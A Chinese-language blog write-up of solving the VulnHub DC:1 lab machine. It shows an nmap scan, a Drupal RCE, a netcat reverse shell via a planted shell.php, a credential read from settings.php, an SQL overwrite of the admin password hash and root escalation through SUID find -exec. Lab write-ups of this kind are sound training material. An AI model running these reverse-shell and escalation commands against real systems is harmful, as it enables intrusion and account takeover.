年初、年末大概是進公司以來最有時間精進自己的時候吧,大多案子不會在這時間執行,也好讓自己有時間可以做點什麼練習,大概就是上班打靶機,下班準備證照,然後無聊打打靶,這次看到 DC 系列的 VulnHub 主機共有 9 台,該篇文章從 DC: 1 開始解題,就看能不能在農曆連假前完整解完。
其他相關文章有興趣可以參考 #VulnHub
環境設定
VirtualBox: Kali
Target: h t t p s : / / w w w . v u l n h u b . c o m / e n t r y / d c – 1 , 2 9 2 /
Net Config: NAT Network
尋找 DC: 1 靶機
┌──(mksyi㉿kali)-[~]
└─$ nmap 10.0.2.4 -A -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-15 10:29 CST
Nmap scan report for 10.0.2.4
Host is up (0.0071s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 40824/udp6 status
| 100024 1 57499/tcp6 status
| 100024 1 58753/tcp status
|_ 100024 1 58966/udp status
58753/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
解題過程
直接瀏覽目標可以發現是使用 Drupal,但不知道是哪個版本。
首先透過工具 wappalyzer 直接得到頁面使用 Drupal 7。
並直接尋找已知的 Exploit 來 RCE,取得第一個 Flag。
除了 Flag 之外,還發現系統上存在 shell.php 檔案,並且 Key 為 c,藉此丟一個 Reverse shell 回來,並且使用 Python 取得一個真正的 Shell。
使用 nc 監聽連線
nc -nl -vv -p 8080
透過瀏覽器訪問 shell.php,透過 nc 建立一個連線回來
http://10.0.2.4/shell.php?c=nc%20-e%20%2Fbin%2Fsh%2010.0.2.15%208080
nc -e /bin/sh 10.0.2.15 8080
接著回到 nc 使用以下指令取得一個真正的 Shell
python -c "import pty;pty.spawn('/bin/bash')"
然後嘗試尋找更多資訊
cat sites/default/settings.php
找到 DB 資訊,並嘗試登入。
mysql -u dbuser -p
show databases;
use drupaldb
show tables;
select * from users;
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
| uid | name | pass | mail | theme | signature | signature_format | created | access | login | status | timezone | language | picture | init | data |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
| 0 | | | | | | NULL | 0 | 0 | 0 | 0 | NULL | | 0 | | NULL |
| 1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | admin@example.com | | | NULL | 1550581826 | 1550583852 | 1550582362 | 1 | Australia/Melbourne | | 0 | admin@example.com | b:0; |
| 2 | Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | fred@example.org | | | filtered_html | 1550581952 | 1550582225 | 1550582225 | 1 | Australia/Melbourne | | 0 | fred@example.org | b:0; |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
為了爆破出 admin 的密碼,只好拿去餵 Hashcat,但由於該 Hash 方法為 Bcrypt,爆破不是一個明智的選擇,於是走了另一個套路,直接更新 admin 的密碼,但首先要知道密碼是用什麼方法 HASH 的,透過官方文件說明,還直接提供方法可以直接使用。
UPDATE users SET pass ='$S$DNbrvi7US5L09VyD9lUfNp7x83UuxPtDKtPgkJxxpzWfX0eE2Fo2' WHERE uid = 1;
然後登入 admin 後在 Dashboard 發現 flag3
接著就得到 Flag4 的線索,必且提示可以使用 -exec 指令來執行 command,可能原因是 Find 工具被設有 SUID
權限。
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
首先在目標主機上執行以下指令進行探勘。
find / -type f \( -perm -04000 -o -perm -02000 \) -exec ls -lg {} \;
並得到以下結果
其中最為關鍵的為 /usr/bin/find,就如同提示給的一樣,可以透過 find 來獲取高權限。
-rwsr-xr-x 1 root 162424 Jan 6 2012 /usr/bin/find
為了取得 flag4 的帳號權限,這部分有幾個套路。
- 讀取 shadow 檢視 flag4 的 hash 並解密
- 透過 find -exec 執行 /bin/sh 獲取 root 權限,並直接瀏覽 flag
- 透過 find -exec 執行 /bin/sh 獲取 root 權限,再透過 ssh 匯入 authorized_keys 並透過 ssh 進行登入。
- 透過 find -exec 執行 /bin/sh 獲取 root 權限,直接修改 flag4 使用者的密碼後,再透過 SSH 進行登入。
但由於太懶了,直接使用 find -exec /bin/sh \;
指令來取得 root 權限,並檢視 flag。
然後提示說是否可以拿到 root,看起來我沒照著解題流程進行就直接拿到 root 了。
打完之後發現該題很適合新手漸進式的學習,之後或許可以拿來當作是滲透測試訓練用的教材。